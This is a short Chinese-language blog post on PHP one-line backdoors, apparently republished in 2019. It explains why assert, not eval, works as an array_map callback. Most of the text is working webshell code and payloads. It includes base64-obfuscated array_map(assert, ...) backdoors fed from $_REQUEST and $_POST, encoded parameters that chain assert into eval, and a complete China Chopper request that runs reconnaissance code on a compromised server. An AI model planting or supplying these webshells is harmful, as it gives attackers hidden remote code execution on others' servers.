一句話後門中eval和assert的區別
阿新 • • 發佈:2019-02-13
eval函式中引數是字元,如:
eval('echo 1;');
assert函式中引數為表示式 (或者為函式),如:
assert(phpinfo())
assert(eval('echo 1;'));
直接傳遞普通程式碼是無法執行的,如:assert('echo 1;');
下面這個程式碼執行不了:
@array_map("eval",array('phpinfo();'));
肯定會錯: Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一個引數需要是回撥函式
所以這個後門:
@array_map(assert,(array)base64_decode($_REQUEST['xx']));
array_map第二個引數需要再鑲嵌一個assert,
xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk=
base64_decode($_REQUEST['xx']) 得到: assert($_REQUEST['aa'])
其中aa為菜刀中post的資料
aa= @eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
這樣,會構造出:assert(eval('執行程式碼')),這個為array_map的第二個引數,
最終將陣列中第二個引數回撥到第一個陣列,執行時程式碼為:assert(assert(eval('執行程式碼')) )
另一個例子:
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
這時候需要構造post引數為:
a=ZXZhbCgnZWNobyAxOycp
(eval('echo 1;'))